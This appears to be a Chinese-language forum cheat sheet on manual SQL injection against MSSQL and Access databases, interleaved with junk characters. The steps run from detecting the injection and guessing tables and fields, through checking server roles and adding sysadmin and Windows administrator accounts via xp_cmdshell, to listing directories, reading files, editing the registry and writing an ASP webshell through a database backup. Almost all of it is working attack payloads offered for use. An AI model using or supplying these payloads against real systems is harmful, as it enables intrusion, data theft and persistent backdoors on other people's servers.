手工脚本注入
+ @: G N& Y! P% y) |" k% L1.判断是否有注入;and 1=1 ;and 1=2
6 x- e. U! d# o" w8 k- P$ A8 V4 t& t I; H B
2.初步判断是否是mssql ;and user>0
1 x7 r5 i! B! o4 N+ t4 C! r& A# n$ ?! A8 ~; u6 _
3.注入参数是字符'and [查询条件] and ''='
) t: k+ C: Q9 M% v$ \. k; _2 b I- p J+ ^0 ~$ w h7 s/ p' q( o
4.搜索时没过滤参数的'and [查询条件] and '%25'='
0 V+ o I% m; y* s
( }0 F, Z0 G. ^, P" }5.判断数据库系统 ! N* m. {( j: b" w2 h
;and (select count(*) from sysobjects)>0 mssql ; O2 N0 W8 E$ |8 G1 o7 i8 [- s
;and (select count(*) from msysobjects)>0 access
( G. Y2 l Z2 n* G- t& n$ Y
: D" a+ U7 i2 E+ k. e! K6.猜数据库 ;and (select Count(*) from [数据库名])>0 3 c+ Y2 k" |5 _: G' Z; x
" y* D7 y/ E9 w% ?0 J7 f% {
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
' p' i" K( n" ^1 u, H3 N" v* m; X) l+ d- i* R5 O: o
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
8 f& b7 Q1 D* N ~, s1 g$ t$ I9 {8 s* a; B+ V7 K
9.(1)猜字段的ascii值(access)
0 A* X8 A# R: W/ q) O;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
$ e4 y0 e7 a; X' b2 r; Y; r( L& q$ l( y' v5 i& `% @! t+ t
(2)猜字段的ascii值(mssql) + i5 M) w; z7 |
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
- g( e: b; [8 E3 F) z9 f4 I: ^- c* O$ J3 h. X: k- R
10.测试权限结构(mssql)
+ t* o; z. c' j8 h2 m4 P7 ?;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
- s3 O/ M' {% i4 K( z0 ?6 I( K;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- ( y$ T% c( b% c# L
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- ) b1 ? x% @$ W
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
+ X# }( G8 W5 M2 ]1 v& O0 i;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
; V8 `7 z7 h4 P7 b" y2 g! w;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- + Q" T4 j; q* c2 u9 `1 {, M. v1 b
;and 1=(select IS_MEMBER('db_owner'));--
/ \% I: r6 z# B1 q/ K/ Y: m, k" F" X6 V; S. n
11.添加mssql和系统的帐户 & t" W9 G3 J6 O# j. J
;exec master.dbo.sp_addlogin username;-- ' J& I! H3 `4 R' ~1 y
8 e* c0 n' u7 b. }
;exec master.dbo.sp_password null,username,password;-- + S- C( l8 ]8 y' m( `5 G7 X
8 M4 F& ~9 Q& R9 d% O( H b7 d0 ?
;exec master.dbo.sp_addsrvrolemember sysadmin username;-- 5 h. R1 `1 J, E g. J
, |; ]- Q1 d* i+ @" [7 Y- m;exec master.dbo.xp_cmdshell 'net user username password ) f6 X1 v- w& T: M! w
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- * i" [+ ]9 B. ], H' [
( e+ \9 t- s# Q, I5 O;exec master.dbo.xp_cmdshell 'net user username password /add';-- " S& z, s* _& V$ j" `# L
$ W4 K0 _3 ]' p& p$ V;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- % h' b: w/ `' P0 G: Y; j, W
8 E1 W* V7 J) `, D12.(1)遍历目录
+ m0 Z L- m0 C+ N3 f' w- p' O/ M0 |# n
;create table dirs(paths varchar(100), id int) " i; J8 J! w2 d4 V& c+ I
;insert dirs exec master.dbo.xp_dirtree 'c:\'
4 W6 h+ L# C" y8 C) Q, H;and (select top 1 paths from dirs)>0 : I3 p( |- Z( l3 L, e# B- x
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $ M! z: s' F) x8 X7 e8 b$ z9 G
3 w" {/ M) U- \* R$ O. Z(2)遍历目录 + I. i! Z8 M6 \% k% |4 Y& U
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- 9 b/ u/ H& R, B0 h6 q' i
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
" `# _: M6 c5 j3 X) ^% U;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 + ^+ o& }1 c/ @. V0 D
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
7 a# f2 ?9 w% ]+ Q) G5 L2 t S0 `4 Q;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 4 P. P9 w. i T" H9 N) {. ~
$ z4 I$ q0 T F4 V, e# I13.mssql中的存储过程
0 _( e) _ n. d! t/ K, T! r, K* L% E
+ `; U- E; i% Gxp_regenumvalues 注册表根键, 子键 & k' k3 I; V: D
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
2 r( A' n: [* u- c5 z5 c& g% [, @1 F/ L! S! g2 r' @* ^- J
xp_regread 根键,子键,键值名 ^7 Y& K/ ~! K( u7 @
;exec xp_regread
$ D9 k7 N# S: C, O/ n$ Z6 l'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
8 Y, x1 E3 ?0 e3 S" I8 S3 _5 L; K. g5 u6 u& ]; r
xp_regwrite 根键,子键, 值名, 值类型, 值 ' P) }4 B# r" }8 o6 d- V
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
' C! M4 {7 D, O3 I3 A;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ! Q E# s9 n/ n! T6 t& {
" T8 X9 p3 s# N# x+ p8 h F3 nxp_regdeletevalue 根键,子键,值名 , y; n+ H6 `9 a+ M; L+ Z
: V6 L4 Q/ I: W. U7 l. `
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
' |/ R8 T/ \6 P% B- D# ^; Z9 {2 q% n& m( i _* H- \4 c
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 * {& p& e1 E# b4 x
$ q/ z& _8 u* Q4 j9 p. L14.mssql的backup创建webshell ( n2 V# d8 N9 \3 ]& S4 J i4 C
use model ! ]- _3 `. s3 u$ B3 Q2 n
create table cmd(str image); ( ^" {% U+ j \- h7 \% i
insert into cmd(str) values (''); ( x" g @4 _: J) O' ? |
backup database model to disk='c:\l.asp'; 6 N8 I/ R- ]- J/ D, M8 e
/ Z) f1 I- G' X% k* [ Z B15.mssql内置函数 " e* H7 ]# L5 {
;and (select @@version)>0 获得Windows的版本号 9 f" p2 x: h; J0 ?/ ?
;and user_name()='dbo' 判断当前系统的连接用户是不是sa # h: Y2 } s" y7 X) x% H: v& i
;and (select user_name())>0 爆当前系统的连接用户 " `+ @' c+ i/ C
;and (select db_name())>0 得到当前连接的数据库 Q8 o. s6 h; l6 I
# L( ^8 t0 ?$ E8 c+ t6 y16.简洁的webshell ( w' Y. q! c. I
, K5 Z- R( p! T2 `5 a" x( c& o$ B1 H
use model
6 p V, g; ~5 q3 |" r( T
/ i$ l! ?, ^ \create table cmd(str image);
; J5 G: @- t3 s3 t% B8 x
0 A8 H7 g9 G! `3 X5 X1 xinsert into cmd(str) values ('');
f9 l1 f/ B. y, l& x# c' j! b1 z2 {1 H# @: ^. e3 F/ @
backup database model to disk='g:\wwwtest\l.asp';
+ R5 {5 }/ v& Z - v5 H: ]1 C: a( z. d% s2 @
|